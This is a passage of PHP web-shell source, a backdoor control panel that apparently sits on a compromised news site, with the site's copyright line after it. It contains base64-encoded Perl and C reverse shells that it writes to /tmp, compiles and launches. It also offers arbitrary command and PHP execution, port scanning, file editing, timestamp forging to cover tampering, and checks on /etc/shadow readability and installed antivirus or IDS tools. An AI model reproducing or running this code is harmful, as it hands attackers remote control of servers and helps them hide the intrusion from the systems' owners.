      p('<td>'.$db_collation['Value'].'</td>');
     }
     p('<td>&nbsp;</td>');
     p('</tr>');
     p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"bak_path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"button\" value=\"Export selection table\" onclick=\"$('doing').value='dump';$('dbform').submit();\" /></td></tr>");
     p("</table>");
    } else {
     p('<p class="red b">No tables</p>');
    }
    $DB->free_result($query);
   }
  }
  $DB->close();
 }
 formfoot();
}//end mysql

elseif ($act == 'backconnect') {

 !$p2 && $p2 = $_SERVER['REMOTE_ADDR'];
 !$p3 && $p3 = '12345';
 $usedb = array('perl'=>'perl','c'=>'c');

 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

 if ($p1 == 'start' && $p2 && $p3 && $p4){
  if ($p4 == 'perl') {
   cf('/tmp/angel_bc',$back_connect);
   $res = execute(which('perl')." /tmp/angel_bc $p2 $p3 &");
  } else {
   cf('/tmp/angel_bc.c',$back_connect_c);
   $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
   @unlink('/tmp/angel_bc.c');
   $res = execute("/tmp/angel_bc $p2 $p3 &");
  }
  m('Now script try connect to '.$p2.':'.$p3.' ...');
 }

 formhead(array('title'=>'Back Connect', 'onsubmit'=>'g(\'backconnect\',null,\'start\',this.p2.value,this.p3.value,this.p4.value);return false;'));
 p('<p>');
 p('Your IP:');
 makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
 p('Your Port:');
 makeinput(array('name'=>'p3','size'=>15,'value'=>$p3));
 p('Use:');
 makeselect(array('name'=>'p4','option'=>$usedb,'selected'=>$p4));
 makeinput(array('value'=>'Start','type'=>'submit','class'=>'bt'));
 p('</p>');
 formfoot();
}//end

elseif ($act == 'portscan') {
 !$p2 && $p2 = '127.0.0.1';
 !$p3 && $p3 = '21,80,135,139,445,1433,3306,3389,5631,43958';
 formhead(array('title'=>'Port Scan', 'onsubmit'=>'g(\'portscan\',null,\'start\',this.p2.value,this.p3.value);return false;'));
 p('<p>');
 p('IP:');
 makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
 p('Port:');
 makeinput(array('name'=>'p3','size'=>80,'value'=>$p3));
 makeinput(array('value'=>'Scan','type'=>'submit','class'=>'bt'));
 p('</p>');
 formfoot();

 if ($p1 == 'start') {
  p('<h2>Result &raquo;</h2>');
  p('<ul class="info">');
  foreach(explode(',', $p3) as $port) {
   $fp = @fsockopen($p2, $port, $errno, $errstr, 1);
   if (!$fp) {
    p('<li>'.$p2.':'.$port.' ------------------------ <span class="b">Close</span></li>');
     } else {
    p('<li>'.$p2.':'.$port.' ------------------------ <span class="red b">Open</span></li>');
    @fclose($fp);
     }
  }
  p('</ul>');
 }
}

elseif ($act == 'eval') {
 $phpcode = trim($p1);
 if($phpcode){
  if (!preg_match('#<\?#si', $phpcode)) {
   $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  }
  eval("?".">$phpcode<?");
 }
 formhead(array('title'=>'Eval PHP Code', 'onsubmit'=>'g(\'eval\',null,this.p1.value);return false;'));
 maketext(array('title'=>'PHP Code','name'=>'p1', 'value'=>$phpcode));
 p('<p><a href="http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/" target="_blank">Get plugins</a></p>');
 formfooter();
}//end eval

elseif ($act == 'editfile') {

 // ?????
 if ($p1 == 'edit' && $p2 && $p3) {
  $fp = @fopen($p2,'w');
  m('Save file '.(@fwrite($fp,$p3) ? 'success' : 'failed'));
  @fclose($fp);
 }
 $contents = '';
 if(file_exists($p2)) {
  $fp=@fopen($p2,'r');
  $contents=@fread($fp, filesize($p2));
  @fclose($fp);
  $contents=htmlspecialchars($contents);
 }
 formhead(array('title'=>'Create / Edit File', 'onsubmit'=>'g(\'editfile\',null,\'edit\',this.p2.value,this.p3.value);return false;'));
 makeinput(array('title'=>'Filename','name'=>'p2','value'=>$p2,'newline'=>1));
 maketext(array('title'=>'File Content','name'=>'p3','value'=>$contents));
 formfooter();
 goback();

}//end editfile

elseif ($act == 'newtime') {
 $filemtime = @filemtime($p1);

 formhead(array('title'=>'Clone folder/file was last modified time', 'onsubmit'=>'g(\'file\',null,\'clonetime\',this.p2.value,this.p3.value);return false;'));
 makeinput(array('title'=>'Alter folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
 makeinput(array('title'=>'Reference folder/file','name'=>'p3','value'=>$cwd,'size'=>120,'newline'=>1));
 formfooter();

 formhead(array('title'=>'Set last modified', 'onsubmit'=>'g(\'file\',null,\'settime\',this.p2.value,this.p3.value);return false;'));
 makeinput(array('title'=>'Current folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
 makeinput(array('title'=>'Modify time','name'=>'p3','value'=>date("Y-m-d H:i:s", $filemtime),'size'=>120,'newline'=>1));
 formfooter();

 goback();
}//end newtime

elseif ($act == 'shell') {
 formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\'shell\',null,this.p1.value);return false;'));
 p('<p>');
 makeinput(array('name'=>'p1','value'=>htmlspecialchars($p1)));
 makeinput(array('class'=>'bt','type'=>'submit','value'=>'Execute'));
 p('</p>');
 formfoot();

 if ($p1) {
  p('<pre>'.execute($p1).'</pre>');
 }
}//end shell

elseif ($act == 'phpenv') {
 $d=array();
 if(function_exists('mysql_get_client_info'))
  $d[] = "MySql (".mysql_get_client_info().")";
 if(function_exists('mssql_connect'))
  $d[] = "MSSQL";
 if(function_exists('pg_connect'))
  $d[] = "PostgreSQL";
 if(function_exists('oci_connect'))
  $d[] = "Oracle";
 $info = array(
  1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  4 => array('Server OS',PHP_OS),
  5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  8 => array('PHP run mode',strtoupper(php_sapi_name())),
  9 => array('The file path',__FILE__),

  10 => array('PHP Version',PHP_VERSION),
  11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')),
  12 => array('Safe Mode',getcfg('safe_mode')),
  13 => array('Administrator',(isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'))),
  14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  15 => array('enable_dl',getcfg('enable_dl')),
  16 => array('display_errors',getcfg('display_errors')),
  17 => array('register_globals',getcfg('register_globals')),
  18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  19 => array('memory_limit',getcfg('memory_limit')),
  20 => array('post_max_size',getcfg('post_max_size')),
  21 => array('upload_max_filesize',(getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed')),
  22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  23 => array('disable_functions',($dis_func ? $dis_func : 'No')),
  24 => array('Supported databases',implode(', ', $d)),
  25 => array('cURL support',function_exists('curl_version') ? 'Yes' : 'No'),
  26 => array('Open base dir',getcfg('open_basedir')),
  27 => array('Safe mode exec dir',getcfg('safe_mode_exec_dir')),
  28 => array('Safe mode include dir',getcfg('safe_mode_include_dir')),
 );

 $hp = array(0=> 'Server', 1=> 'PHP');
 for($a=0;$a<2;$a++) {
  p('<h2>'.$hp[$a].' &raquo;</h2>');
  p('<ul class="info">');
  if ($a==0) {
   for($i=1;$i<=9;$i++) {
    p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
   }
  } elseif ($a == 1) {
   for($i=10;$i<=25;$i++) {
    p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
   }
  }
  p('</ul>');
 }
}//end phpenv

elseif ($act == 'secinfo') {
 
 if( !IS_WIN ) {
  $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
  secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
  secparam('OS version', @file_get_contents('/proc/version'));
  secparam('Distr name', @file_get_contents('/etc/issue.net'));
  $safe_mode = @ini_get('safe_mode');
  if(!$GLOBALS['safe_mode']) {
   $temp=array();
   foreach ($userful as $item)
    if(which($item)){$temp[]=$item;}
   secparam('Userful', implode(', ',$temp));
   $temp=array();
   foreach ($danger as $item)
    if(which($item)){$temp[]=$item;}
   secparam('Danger', implode(', ',$temp));
   $temp=array();
   foreach ($downloaders as $item)
    if(which($item)){$temp[]=$item;}
   secparam('Downloaders', implode(', ',$temp));
 &am

Copyright ⓒ OneKorea Daily News All rights reserved ONEKOREANEWS.net